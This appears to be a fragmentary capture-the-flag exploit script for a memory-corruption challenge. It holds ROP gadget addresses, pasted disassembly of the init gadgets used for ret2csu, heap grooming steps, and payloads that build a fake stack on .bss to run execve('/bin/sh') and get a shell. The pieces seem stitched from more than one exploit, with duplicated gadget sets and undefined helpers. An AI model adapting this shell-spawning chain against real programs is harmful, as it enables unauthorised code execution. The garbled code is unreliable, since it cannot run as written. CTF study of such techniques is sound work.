pop_rsp = 0x000000000040172d# pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret pop_rdi = 0x0000000000401733# pop rdi ; ret pop_rsi = 0x0000000000401731# pop rsi ; pop r15 ; ret gadget_1 = 0x0000000000401710 gadget_2 = 0x0000000000401726
''' .text:0000000000401710 loc_401710: ; CODE XREF: init+54↓j .text:0000000000401710 mov rdx, r14 .text:0000000000401713 mov rsi, r13 .text:0000000000401716 mov edi, r12d .text:0000000000401719 call qword ptr [r15+rbx*8] .text:000000000040171D add rbx, 1 .text:0000000000401721 cmp rbp, rbx .text:0000000000401724 jnz short loc_401710 .text:0000000000401726 .text:0000000000401726 loc_401726: ; CODE XREF: init+35↑j .text:0000000000401726 add rsp, 8 .text:000000000040172A pop rbx .text:000000000040172B pop rbp .text:000000000040172C pop r12 .text:000000000040172E pop r13 .text:0000000000401730 pop r14 .text:0000000000401732 pop r15 .text:0000000000401734 retn .text:0000000000401734 ; } // starts at 4016D0 .text:0000000000401734 init endp '''
whileTrue: try: # gap # add(0x16DA8, '0') add(0x7DA8, '0')
# unsorted bin list add(0x510, '1') add(0x18, '2') add(0x580, '3') # add(0x518, '4') add(0xF518, '4') # large bin with address like 0xXXXXXXXXX0XX add(0x1000, '5') add(0x18, '6') delete(5) add(0x1100, '5')
# put data on bss (later will be set as fake stack) payload = p64(bss + 8) p.sendafter("addr:", payload) payload = p64(pop_rdi) + p64(0x492895) payload += p64(pop_rsi) p.sendafter("data:", payload)
# put data on bss (later will be set as fake stack) payload = p64(bss) p.sendafter("addr:", payload) payload = "/bin/sh".ljust(8, "\x00") payload += p64(pop_rax) + p64(59) p.sendafter("data:", payload)
pop_rdi = 0x000000000040161b# pop rdi ; ret pop_rsi = 0x0000000000401619# pop rsi ; pop r15 ; ret pop_rsp = 0x0000000000401615# pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret gadget_1 = 0x00000000004015F8 gadget_2 = 0x000000000040160E
''' .text:00000000004015F8 loc_4015F8: ; CODE XREF: init+4C↓j .text:00000000004015F8 mov rdx, r15 .text:00000000004015FB mov rsi, r14 .text:00000000004015FE mov edi, r13d .text:0000000000401601 call qword ptr [r12+rbx*8] .text:0000000000401605 add rbx, 1 .text:0000000000401609 cmp rbp, rbx .text:000000000040160C jnz short loc_4015F8 .text:000000000040160E .text:000000000040160E loc_40160E: ; CODE XREF: init+31↑j .text:000000000040160E add rsp, 8 .text:0000000000401612 pop rbx .text:0000000000401613 pop rbp .text:0000000000401614 pop r12 .text:0000000000401616 pop r13 .text:0000000000401618 pop r14 .text:000000000040161A pop r15 .text:000000000040161C retn .text:000000000040161C ; } // starts at 4015C0 .text:000000000040161C init endp '''